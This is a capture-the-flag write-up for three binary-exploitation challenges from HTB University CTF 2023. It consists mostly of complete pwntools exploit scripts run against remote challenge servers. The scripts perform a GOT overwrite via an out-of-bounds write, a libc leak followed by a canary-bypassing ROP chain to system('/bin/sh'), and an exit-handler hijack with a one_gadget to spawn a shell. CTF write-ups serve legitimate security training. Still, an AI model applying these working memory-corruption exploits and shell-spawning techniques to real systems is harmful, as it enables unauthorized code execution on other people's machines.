HTB_University_CTF_2023

TL;DR:

nothing here.

PWN:

pwn_great_old_talisman:

  1. no check for the input, we could use this to perform a oob write
  2. overwrites the low 2bytes of exit@got[plt] to that of read_flag func
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./great_old_talisman")
io=remote("94.237.54.197",53139)
elf=ELF("./great_old_talisman")
libc=elf.libc

# gdb.attach(io)
# pause()

io.sendlineafter(b">> ",str(-4))

io.sendafter(b"Spell: ",b"\x5a\x13")

io.interactive()

pwn_zombienator:

  1. use delete to make a libc_addr leakage and we have all the addr we need for rop chain
  2. in attack function we have a chance to directly write on the stack , due to the scanf as input , use + or - to not to overwrite until the return addr , to bypass the canary check . And we have our rop chain written on return addr .

( be careful when we write our rop chain , it uses scanf("%lf") , so we have to use double formation as input

from pwn import *
import struct
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./zombienator")
io=remote("94.237.58.77",50672)
elf=ELF("./zombienator")
libc=elf.libc

def double_float(value):
    return str(struct.unpack('!d', p64(value)[::-1])[0])

def add(s,n):
    io.sendlineafter(b">> ",b"1")
    io.sendlineafter(b"tier: ",str(s))
    io.sendlineafter(b"9): ",str(n))

def delete(n):
    io.sendlineafter(b">> ",b"2")
    io.sendlineafter(b"position: ",str(n))

def show():
    io.sendlineafter(b">> ",b"3")

def attack():
    io.sendlineafter(b">> ",b"4")

# gdb.attach(io)
# pause()

for i in range(8):
    add(0x80,i)

add(0x20,8)

for i in range(8):
    delete(i)

show()

io.recvuntil(b"Slot [7]: ")
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x219ce0
print("leak_addr: ",hex(leak_addr))

sys_addr=leak_addr+libc.sym[b"system"]
str_sh=leak_addr+next(libc.search(b"/bin/sh"))

pop_rdi=leak_addr+0x2a3e5
# 0x000000000002a3e5: pop rdi; ret;

ret=leak_addr+0xf9e3c
# 0x00000000000f9e3c: ret;

print("str_sh: ",hex(str_sh))
print("sys_addr: ",hex(sys_addr))

rop=[double_float(ret),double_float(pop_rdi),double_float(str_sh),double_float(sys_addr)]

attack()
io.sendlineafter(b"attacks: ",b"39")

for i in range(35):
    io.sendlineafter(b"coordinates: ",b"+")

# gdb.attach(io)
# pause()

for i in range(4):
    io.sendlineafter(b"coordinates: ",rop[i])    

io.interactive()

pwn_zombiedote:

just like the chall before , this one also uses %lf as input and it has even %lf as output , so just write 2 func to perform as encode and decode

  1. malloc a huge size to cover as many sections as it can in memory , therefore we can perform a aaw read or write
  2. one chance for the inspect function , use it to leak the libc in libc section , the offset needs to be manually tested .
  3. idk what the intend solution is , I tried to hijack the exit_hook(I named it , offset tested manually) , where we have access to write to , and it will finally be called in the exit function , we could overwrite it with one_gadget , choose the proper one to fulfill the restrictions .
from pwn import *
import struct
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=remote("83.136.255.126",55297)
# io=process("./zombiedote")
elf=ELF("./zombiedote")
libc=elf.libc

def double_float(value):
    return str(struct.unpack('!d', p64(value)[::-1])[0])

def double_to_hex(val):
    return int.from_bytes(struct.pack("d", val), "little")

def add(s):
    io.sendlineafter(b">> ",b"1")
    io.sendlineafter(b"samples: ",str(s))

def insert(s):
    io.sendlineafter(b">> ",b"2")
    io.sendlineafter(b"tested: ",str(s))


def edit(n,cc):
    io.sendlineafter(b">> ",b"4")
    io.sendlineafter(b"number: ",str(n))
    io.sendlineafter(b"(%): ",double_float(cc))

def show(s):
    io.sendlineafter(b">> ",b"5")
    io.sendlineafter(b"inspect: ",str(s))
    io.recvuntil(b": ")
    hex_string=double_to_hex(float(io.recvuntil(b"\n",drop=True)))
    print("hex_string: ",hex(hex_string))
    return hex_string

# gdb.attach(io)

add(0x40040000)
print("test: ",double_to_hex(1.619794219890527e-319))

### libc_leakage
leak_addr=show(0x40083af0)-0x2197e3
print("leak_addr: ",hex(leak_addr))

str_sh=leak_addr+next(libc.search(b"/bin/sh"))
sys_addr=leak_addr+libc.sym[b"system"]
exit_hook=leak_addr+0x21a6c8
shell=leak_addr+0xeea9c

pop_rdi=leak_addr+0x2e6c5
# 0x000000000002e6c5: pop rdi; ret;

ret=leak_addr+0x2c7a9
# 0x000000000002c7a9: ret;

# rop_addr=leak_addr-0x200203ff0
# rop=[ret,pop_rdi,str_sh,sys_addr]
insert(0x4)
for i in range(4):
    io.sendlineafter(b"(%): ",double_float(0xdeadbeef))

#  RBX  0x7ffff7fb26c8 (__elf_set___libc_atexit_element__IO_cleanup__) —▸ 0x7ffff7e86a9c (execvpe+652) ◂— mov rdx, r12
#    0x7ffff7de157d <__run_exit_handlers+429>    jae    7ffff7de158bh                 <__run_exit_handlers+443>
#    0x7ffff7de157f <__run_exit_handlers+431>    nop
#  ► 0x7ffff7de1580 <__run_exit_handlers+432>    call   qword ptr [rbx]

# gdb.attach(io)

edit(5,0)
edit(0x40083cd7,shell)
io.sendlineafter(b">> ",b"3")

io.interactive()

# 0xeea9c execve("/bin/sh", r15, r12)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [r12] == NULL || r12 == NULL

# 0xeea9f execve("/bin/sh", r15, rdx)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [rdx] == NULL || rdx == NULL

# 0xeeaa2 execve("/bin/sh", rsi, rdx)
# constraints:
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL